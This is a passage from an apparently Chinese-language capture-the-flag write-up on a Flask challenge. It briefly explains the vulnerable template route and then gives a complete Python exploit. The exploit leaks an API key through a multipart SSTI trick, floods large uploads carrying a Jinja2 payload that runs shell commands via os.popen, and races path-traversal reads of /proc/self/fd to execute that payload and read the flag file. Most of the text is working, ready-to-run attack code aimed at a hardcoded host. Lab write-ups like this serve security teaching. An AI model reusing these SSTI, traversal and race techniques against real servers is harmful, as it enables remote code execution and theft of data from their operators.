if not os.path.exists(tmpl_path):
return 'Not Found', 404
tmpl_content = open(tmpl_path, 'r').read()
return render_template_string(tmpl_content), 200
但是 flag 的生成方式:
#!/bin/bash
if [ -n "$FLAG" ]; then
echo "$FLAG" > "/flag-$(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 32).txt"
unset FLAG
else
echo "flag{testflag}" > "/flag-$(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 32).txt"
fi
useradd -M ctf
su ctf -c 'cd /app && python app.py'
意味着必须想办法列出目录获取 flag 路径,注意到 render_template_string 此处的 tmpl_content 可以打 ssti,需要找到一个我们能控制内容的文件进行包含,但是 flask 的日志是写在 ByteIO 的,没有文件落地
想起来 p 神之前在 php 中打过临时文件竞争包含的操作,猜测 flask 中上传文件的数据包也会写入到临时文件中,那么这个临时文件的内容我们只能通过爆破 fd 句柄来得知,也就是需要竞争读取
于是尝试在 /heartbeat 上传大文件,把 ssti payload 放在最前面,然后在 /admin 包含 fd 打 ssti
exp:
import requests
import re
import sys
import threading
import time
import os
# BASE_URL = "http://127.0.0.1:25000"
BASE_URL = "http://223.6.249.127:11350"
def leak_api_key():
print("[*] Leaking API_KEY...")
boundary = "a"
payload = (
f"{{0.view_functions[admin].__globals__[API_KEY]}}\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="action"; filename="a.json"\r\n'
f"Content-Type: application/json\r\n\r\n"
f'{{"type": "debug"}}\r\n'
f"--{boundary}--\r\n")
if len(payload) > 300:
print("[-] Payload too long")
sys.exit(1)
try:
r = requests.post(f"{BASE_URL}/heartbeat",
data={
"text": payload,
"client": "Content-Type",
"token":
f"multipart/form-data; boundary={boundary}"
},
timeout=5)
except Exception as e:
print(f"[-] Leak request failed: {e}")
# Retry once
try:
r = requests.post(f"{BASE_URL}/heartbeat",
data={
"text":
payload,
"client":
"Content-Type",
"token":
f"multipart/form-data; boundary={boundary}"
},
timeout=5)
except:
sys.exit(1)
if r.status_code != 200:
print(f"[-] Leak failed: {r.status_code}")
# print(r.text)
match = re.search(r'([a-f0-9]{64})', r.text)
if match:
return match.group(1)
print("[-] API Key not found")
# sys.exit(1)
return None # For testing without key if needed
def upload_thread(stop_event):
# Continuously upload large files to /heartbeat.
# The 'text' param is kept short to pass validation.
# We add a 'dummy' file field that is large enough to force Werkzeug to write to disk.
# Payload designed to execute command and reveal flag filename
ssti_payload = "{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}"
# Pad payload to ~1MB to ensure temporary file creation
padding = "A" * (1024 * 1024 * 2) # 2MB
full_content = ssti_payload + padding
while not stop_event.is_set():
try:
# We use a file upload for the padding
files = {'padding': ('p.txt', full_content, 'text/plain')}
# 'text' must be provided and short
data = {'text': 'keepalive'}
# This request will take some time to upload and process
requests.post(f"{BASE_URL}/heartbeat",
data=data,
files=files,
timeout=2)
except Exception:
# Ignore timeouts or errors, we just want to spam uploads
pass
# time.sleep(0.01)
def read_thread(api_key, stop_event, fd_range):
headers = {"Authorization": api_key}
while not stop_event.is_set():
for fd in fd_range:
if stop_event.is_set(): break
try:
# Include /proc/self/fd/X
r = requests.get(
f"{BASE_URL}/admin",
params={"tmpl": f"../../../../proc/self/fd/{fd}"},
headers=headers,
timeout=1)
if r.status_code == 200:
text = r.text
# Check for execution evidence (e.g., 'bin', 'etc', 'flag-')
if "bin" in text and "etc" in text and "flag-" in text:
print(f"\n[+] HIT! Found flag info in fd {fd}")
# Extract flag filename from ls output
m = re.search(r'(flag-[a-f0-9]+\.txt)', text)
if m:
print(f"[+] Flag Filename: {m.group(1)}")
stop_event.set()
# Read the actual flag
flag_r = requests.get(
f"{BASE_URL}/admin",
params={"tmpl": f"../../../../{m.group(1)}"},
headers=headers)
print(f"[+] FLAG CONTENT: {flag_r.text.strip()}")
return
except Exception:
pass
if __name__ == "__main__":
key = leak_api_key()
if not key:
print("[-] Could not leak key, exiting.")
sys.exit(1)
print(f"[+] API_KEY: {key}")
stop_event = threading.Event()
# Start uploader threads to keep temp files on disk
uploaders = []
for _ in range(4): # 4 upload threads
t = threading.Thread(target=upload_thread, args=(stop_event, ))
t.start()
uploaders.append(t)
# Start reader threads to scan FDs
readers = []
# Scan FDs 3 to 30 (Docker/Linux usually assigns low FDs)
# Split execution across threads
# Thread 1: 3-10
t1 = threading.Thread(target=read_thread,
args=(key, stop_event, range(3, 11)))
# Thread 2: 11-20
t2 = threading.Thread(target=read_thread,
args=(key, stop_event, range(11, 21)))
# Thread 3: 21-30
t3 = threading.Thread(target=read_thread,
args=(key, stop_event, range(21, 31)))
# Thread 4: 7-8 (Focus on likely candidates strongly)
t4 = threading.Thread(target=read_thread,
args=(key, stop_event, [7, 8, 9]))
readers.extend([t1, t2, t3, t4])
for t in readers:
t.start()
print("[*] Race condition started. Press Ctrl+C to stop...")
try:
while not stop_event.is_set():
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Stopping...")
stop_event.set()
for t in uploaders + readers:
t.join(timeout=1)
print("[*] Done.")
